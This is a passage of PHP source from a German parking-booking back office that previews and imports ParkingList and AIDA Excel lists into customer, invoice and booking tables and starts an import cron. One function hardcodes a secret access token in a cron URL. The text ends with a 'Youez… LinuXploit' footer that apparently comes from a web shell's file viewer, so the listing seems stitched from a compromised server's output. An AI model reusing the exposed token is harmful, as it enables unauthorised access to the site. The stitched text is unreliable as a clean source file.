    $html .= '</tbody></table></div>';
    if ( count( $rows ) > 100 ) $html .= '<div class="small text-muted mt-1">… ' . ( count( $rows ) - 100 ) . ' weitere Zeilen (in der Vorschau ausgeblendet)</div>';

    return array(
        'ok' => true, 'type' => 'parking', 'dryRun' => true, 'filename' => $name,
        'summary' => array(
            'rows' => $n, 'halle' => $halle, 'aussen' => $aussen,
            'ships' => array_keys( $ships ), 'shipCount' => count( $ships ),
            'sum' => round( $sum, 2 ),
            'arrivalFrom' => $minA ? date( 'd.m.Y', strtotime( $minA ) ) : null,
            'arrivalTo'   => $maxA ? date( 'd.m.Y', strtotime( $maxA ) ) : null,
            'addressFound' => $gotAddress,
            'newCount' => $cNew, 'updateCount' => $cUpd, 'duplicateCount' => $cDup,
        ),
        'warnings' => $warnings,
        'html' => $html,
    );
}

/** AIDA-Liste (Excel) als Dry-Run: Kopf + erste Zeilen + Zeilenzahl, ohne Import. */
function im_preview_aida( $tmp, $name, $ext, $size ) {
    if ( !class_exists( 'PHPExcel_IOFactory' ) ) {
        return array( 'ok' => true, 'type' => 'aida', 'dryRun' => true, 'filename' => $name,
                      'message' => 'AIDA-Liste erkannt. Eine Detailvorschau ist hier nicht verfügbar (PHPExcel fehlt) – der Import läuft über den AIDA-Import.' );
    }
    // Tempkopie mit korrekter Endung (PHPExcel erkennt am Suffix)
    $work = sys_get_temp_dir() . '/im_preview_' . uniqid() . '.' . ( $ext ? $ext : 'xlsx' );
    if ( !@copy( $tmp, $work ) ) {
        return array( 'ok' => false, 'message' => 'Datei konnte nicht verarbeitet werden.' );
    }
    try {
        PHPExcel_Settings::setCacheStorageMethod( PHPExcel_CachedObjectStorageFactory::cache_to_phpTemp, array( 'memoryCacheSize' => '64MB' ) );
        $reader = PHPExcel_IOFactory::createReaderForFile( $work );
        $reader->setReadDataOnly( true );
        $reader->setReadFilter( new ImportPreviewReadFilter( 1, 40 ) );
        $xl = $reader->load( $work );
        $ws = $xl->getActiveSheet();
        $highestRow = (int) $ws->getHighestRow();
        $colCount = PHPExcel_Cell::columnIndexFromString( $ws->getHighestColumn() );

        // AIDA-ParkingOperatorlist: Kopf in Zeile 2, Daten ab Zeile 3
        $headerRow = 2; $firstData = 3;
        $headers = array();
        for ( $c = 0; $c < $colCount; $c++ ) {
            $cell = $ws->getCellByColumnAndRow( $c, $headerRow );
            $headers[$c] = $cell ? trim( (string) $cell->getValue() ) : '';
        }
        // Falls Zeile 2 leer wirkt, Kopf in Zeile 1 annehmen
        if ( count( array_filter( $headers ) ) === 0 ) {
            $headerRow = 1; $firstData = 2;
            for ( $c = 0; $c < $colCount; $c++ ) {
                $cell = $ws->getCellByColumnAndRow( $c, $headerRow );
                $headers[$c] = $cell ? trim( (string) $cell->getValue() ) : '';
            }
        }
        $dataRows = max( 0, $highestRow - ( $firstData - 1 ) );

        $esc = function ( $v ) { return htmlspecialchars( (string) $v, ENT_QUOTES, 'UTF-8' ); };
        $html = '<div class="table-responsive" style="max-height:60vh;"><table class="table table-sm table-bordered table-hover mb-0"><thead class="table-light"><tr>';
        foreach ( $headers as $h ) $html .= '<th class="text-nowrap">' . $esc( $h ) . '</th>';
        $html .= '</tr></thead><tbody>';
        $previewEnd = min( $highestRow, $firstData + 29 );
        for ( $row = $firstData; $row <= $previewEnd; $row++ ) {
            $html .= '<tr>';
            for ( $c = 0; $c < $colCount; $c++ ) {
                $cell = $ws->getCellByColumnAndRow( $c, $row );
                $html .= '<td class="text-nowrap small">' . $esc( $cell ? $cell->getFormattedValue() : '' ) . '</td>';
            }
            $html .= '</tr>';
        }
        $html .= '</tbody></table></div>';

        $xl->disconnectWorksheets(); unset( $ws, $xl, $reader );
        @unlink( $work );

        return array(
            'ok' => true, 'type' => 'aida', 'dryRun' => true, 'filename' => $name,
            'summary' => array( 'rows' => $dataRows, 'columns' => $colCount ),
            'warnings' => array(),
            'html' => $html,
        );
    } catch ( Exception $e ) {
        @unlink( $work );
        return array( 'ok' => false, 'message' => 'AIDA-Liste konnte nicht gelesen werden: ' . $e->getMessage() );
    }
}

/* =====================================================================
 * FINALER ParkingList-Import (anlegen/aktualisieren/überspringen).
 * Keine automatische Mail. Rechnung (PAS-Nr.) entsteht über den bestehenden
 * Zahlungs-Flow, sobald die Zahlung eingegangen ist (invoice_no bleibt leer).
 * ===================================================================== */
function im_parking_import() {
    if ( empty( $_FILES['file'] ) || !isset( $_FILES['file']['error'] ) || $_FILES['file']['error'] !== UPLOAD_ERR_OK ) return array( 'ok' => false, 'message' => 'Keine Datei empfangen.' );
    $tmp = $_FILES['file']['tmp_name']; $name = basename( (string) $_FILES['file']['name'] ); $size = (int) $_FILES['file']['size'];
    if ( !is_uploaded_file( $tmp ) ) return array( 'ok' => false, 'message' => 'Ungültiger Upload.' );
    $p = im_parking_parse( $tmp );
    if ( empty( $p['ok'] ) ) return $p;
    $rows = $p['rows'];
    if ( !count( $rows ) ) return array( 'ok' => false, 'message' => 'Keine Datensätze gefunden.' );

    $db = new MysqliDb( MYSQL_HOST, MYSQL_USER, MYSQL_PASS, MYSQL_DB );
    $now = date( 'Y-m-d H:i:s' ); $today = date( 'Y-m-d' );

    // Datei ablegen + in pacim_files registrieren (für Übersicht/Undo)
    $dir = PATH_DATAS . '/parkinglist';
    if ( !is_dir( $dir ) ) @mkdir( $dir, 0775, true );
    $stored = $dir . '/' . date( 'Ymd_His' ) . '_' . preg_replace( '/[^A-Za-z0-9._-]/', '_', $name );
    @copy( $tmp, $stored );
    $md5 = is_file( $stored ) ? md5_file( $stored ) : md5( uniqid( '', true ) );
    $fileId = $db->insert( 'pacim_files', array(
        'file_name' => basename( $stored ), 'file_size' => $size, 'file_md5' => $md5, 'file_category' => 'parkinglist',
        'file_path' => $dir . '/', 'file_type' => 'file', 'file_datetime' => $now, 'file_updated' => $now,
    ) );

    $map = im_parking_existing_map( $db, $p['minA'], $p['maxA'] );
    im_parking_classify( $rows, $map );

    $runId = 'pl_' . uniqid();
    $created = 0; $updated = 0; $skipped = 0; $errors = array();

    foreach ( $rows as $i => $row ) {
        try {
            if ( $row['status'] === 'duplicate' ) { $skipped++; continue; }
            $net      = round( $row['price'] / 1.19, 15 );
            $pid      = ( $row['typ'] === 'Halle' ) ? 1 : 2;
            $posTitle = ( $row['typ'] === 'Halle' ) ? 'Hallenstellplatz' : 'Außenstellplatz';
            $ev          = im_event_match( $db, $row['aDateRaw'], $row['rDateRaw'], $row['ship'] );
            $eventId     = $ev ? $ev['id'] : null;
            $eventTitle  = $ev ? $ev['title'] : $row['ship']; // DB-Titel übernehmen, wenn Event gefunden
            $country  = $row['country'] !== '' ? $row['country'] : 'Deutschland';

            if ( $row['status'] === 'update' && !empty( $row['match'] ) ) {
                $m = $row['match'];
                $db->where( 'customer_id', (int) $m['booking_customer'] );
                $db->update( 'pacim_customer', array(
                    'customer_name' => trim( $row['name'] ), 'customer_firstname' => $row['firstname'], 'customer_lastname' => $row['lastname'],
                    'customer_street' => $row['street'], 'customer_zipcode' => $row['zip'], 'customer_city' => $row['city'],
                    'customer_country' => $country, 'customer_phone' => $row['phone'], 'customer_email' => $row['mail'],
                    'customer_source' => 'ParkingList',
                ) );
                $db->where( 'booking_id', (int) $m['booking_id'] );
                $bUpd = array(
                    'booking_event' => $eventTitle, 'booking_event_id' => $eventId, 'booking_type' => $pid,
                    'booking_end' => ( $row['rDateRaw'] ? $row['rDateRaw'] : $m['booking_end'] ), 'booking_serial' => strtoupper( $row['plate'] ),
                    'booking_guests' => $row['pers'], 'booking_phone' => $row['phone'],
                );
                if ( !empty( $row['cruise_checkin'] ) ) $bUpd['booking_cruise_checkin'] = $row['cruise_checkin'];
                $db->update( 'pacim_booking', $bUpd );
                $db->where( 'invoice_id', (int) $m['booking_invoice'] );
                $db->update( 'pacim_invoice_pos', array( 'product_id' => $pid, 'invoice_pos_price' => $net, 'invoice_pos_title' => $posTitle ) );
                $updated++;
                continue;
            }

            // NEU anlegen
            $cid = $db->insert( 'pacim_customer', array(
                'customer_gender' => 0, 'customer_name' => trim( $row['name'] ), 'customer_firstname' => $row['firstname'], 'customer_lastname' => $row['lastname'],
                'customer_street' => $row['street'], 'customer_zipcode' => $row['zip'], 'customer_city' => $row['city'],
                'customer_country' => $country, 'customer_phone' => $row['phone'], 'customer_email' => $row['mail'],
                'customer_source' => 'ParkingList',
            ) );
            if ( !$cid ) throw new Exception( 'Kunde konnte nicht angelegt werden' );
            $iid = $db->insert( 'pacim_invoice', array(
                'invoice_customer' => $cid, 'invoice_no' => '', 'invoice_price' => 0.00, 'invoice_status' => 0, 'invoice_payment' => 0,
                'invoice_coupon' => 0, 'invoice_date' => $today, 'invoice_datetime' => $now,
            ) );
            if ( !$iid ) throw new Exception( 'Rechnung konnte nicht angelegt werden' );
            $bid = $db->insert( 'pacim_booking', array(
                'booking_invoice' => $iid, 'booking_customer' => $cid, 'booking_no' => im_next_booking_no( $db ),
                'booking_event' => $eventTitle, 'booking_event_id' => $eventId, 'booking_type' => $pid,
                'booking_begin' => $row['aDateRaw'], 'booking_end' => ( $row['rDateRaw'] ? $row['rDateRaw'] : $row['aDateRaw'] ),
                'booking_cruise_checkin' => $row['cruise_checkin'],
                'booking_serial' => strtoupper( $row['plate'] ), 'booking_guests' => $row['pers'], 'booking_phone' => $row['phone'],
                'booking_datetime' => $now,
            ) );
            if ( !$bid ) throw new Exception( 'Buchung konnte nicht angelegt werden' );
            $db->insert( 'pacim_invoice_pos', array(
                'invoice_id' => $iid, 'product_id' => $pid, 'booking_id' => $bid, 'invoice_pos_price' => $net, 'invoice_pos_quantity' => 1, 'invoice_pos_title' => $posTitle,
            ) );
            $db->insert( 'pacim_import', array(
                'import_file_id' => $fileId, 'import_booking' => $bid, 'import_customer' => $cid, 'import_invoice' => $iid,
                'import_datetime' => $now, 'import_run_id' => $runId,
            ) );
            $created++;
        } catch ( Exception $e ) {
            if ( count( $errors ) < 10 ) $errors[] = 'Zeile ' . ( $i + 1 ) . ': ' . $e->getMessage();
        }
    }

    // Dauerhaftes Import-Protokoll (unabhängig von pacim_files/Datei – bleibt sichtbar)
    $logRaw = settings::get( 'parking_import_log', '' );
    $log = $logRaw ? json_decode( $logRaw, true ) : array();
    if ( ! is_array( $log ) ) $log = array();
    array_unshift( $log, array(
        'file_id' => (int) $fileId, 'name' => $name, 'dt' => $now,
        'created' => $created, 'updated' => $updated, 'skipped' => $skipped, 'total' => count( $rows ),
    ) );
    $log = array_slice( $log, 0, 50 );
    settings::set( 'parking_import_log', json_encode( $log, JSON_UNESCAPED_UNICODE ) );

    return array( 'ok' => true, 'type' => 'parking', 'fileId' => (int) $fileId, 'created' => $created, 'updated' => $updated,
                  'skipped' => $skipped, 'errorCount' => count( $errors ), 'errors' => $errors, 'total' => count( $rows ) );
}

/* =====================================================================
 * AIDA-Upload: Datei in den AIDA-Import-Ordner legen und bestehenden
 * AIDA-Import anstoßen (kein zweiter Importer; nutzt die vorhandene Pipeline).
 * ===================================================================== */
function im_aida_import() {
    if ( empty( $_FILES['file'] ) || !isset( $_FILES['file']['error'] ) || $_FILES['file']['error'] !== UPLOAD_ERR_OK ) return array( 'ok' => false, 'message' => 'Keine Datei empfangen.' );
    $tmp = $_FILES['file']['tmp_name']; $name = basename( (string) $_FILES['file']['name'] ); $ext = strtolower( pathinfo( $name, PATHINFO_EXTENSION ) );
    if ( !is_uploaded_file( $tmp ) ) return array( 'ok' => false, 'message' => 'Ungültiger Upload.' );
    if ( !in_array( $ext, array( 'xls', 'xlsx', 'csv' ), true ) ) return array( 'ok' => false, 'message' => 'AIDA-Liste muss .xls/.xlsx/.csv sein.' );
    if ( !defined( 'AIDA_DIR' ) ) return array( 'ok' => false, 'message' => 'AIDA-Import-Ordner (AIDA_DIR) ist nicht konfiguriert.' );
    $dir = rtrim( AIDA_DIR, '/' ) . '/';
    if ( !is_dir( $dir ) ) @mkdir( $dir, 0775, true );
    $dest = $dir . $name;
    if ( !@copy( $tmp, $dest ) ) return array( 'ok' => false, 'message' => 'Datei konnte nicht in den AIDA-Import-Ordner gelegt werden.' );

    // Bestehenden AIDA-Import best-effort anstoßen (Token-Endpunkt, im Hintergrund)
    $triggered = false;
    if ( function_exists( 'exec' ) && defined( 'SITE_URL' ) ) {
        $url = SITE_URL . '/crons/importFiles_v2.php?token=eFD6dx2G4RFBkrYS7Z87';
        @exec( 'curl -s ' . escapeshellarg( $url ) . ' > /dev/null 2>&1 &' );
        $triggered = true;
    }
    $pending = function_exists( 'getAidaFilesCount' ) ? getAidaFilesCount() : null;
    return array( 'ok' => true, 'type' => 'aida', 'filename' => $name, 'queued' => true, 'triggered' => $triggered, 'pending' => $pending,
                  'message' => 'AIDA-Liste in den Import-Ordner gelegt' . ( $triggered ? ' und Import angestoßen' : '' ) . '. Die Verarbeitung läuft über den bestehenden AIDA-Import.' );
}

/* ---------- AIDA-Import-Cron starten (Parität zur Alt-App) ---------- */
function im_run_cron() {
    if ( !defined( 'PACIM_CRON_SCRIPT' ) || !defined( 'PACIM_CRON_LOG' ) ) {
        return array( 'status' => 'error', 'message' => 'Cron-Konstanten (PACIM_CRON_SCRIPT/PACIM_CRON_LOG) sind nicht definiert.' );
    }
    $script = PACIM_CRON_SCRIPT;
    $log    = PACIM_CRON_LOG;
    if ( !file_exists( $script ) ) {
        return array( 'status' => 'error', 'message' => 'Cron-Script nicht gefunden.' );
    }
    $cmd = 'nohup bash ' . escapeshellarg( $script ) . ' >> ' . escapeshellarg( $log ) . ' 2>&1 & echo $!';
    $pid = function_exists( 'shell_exec' ) ? trim( (string) @shell_exec( $cmd ) ) : '';
    if ( $pid === '' ) {
        return array( 'status' => 'error', 'message' => 'Cron konnte nicht gestartet werden.' );
    }
    return array( 'status' => 'success', 'message' => 'AIDA-Import gestartet (PID ' . $pid . ').', 'pid' => $pid );
}

Youez - 2016 - github.com/yon3zu
LinuXploit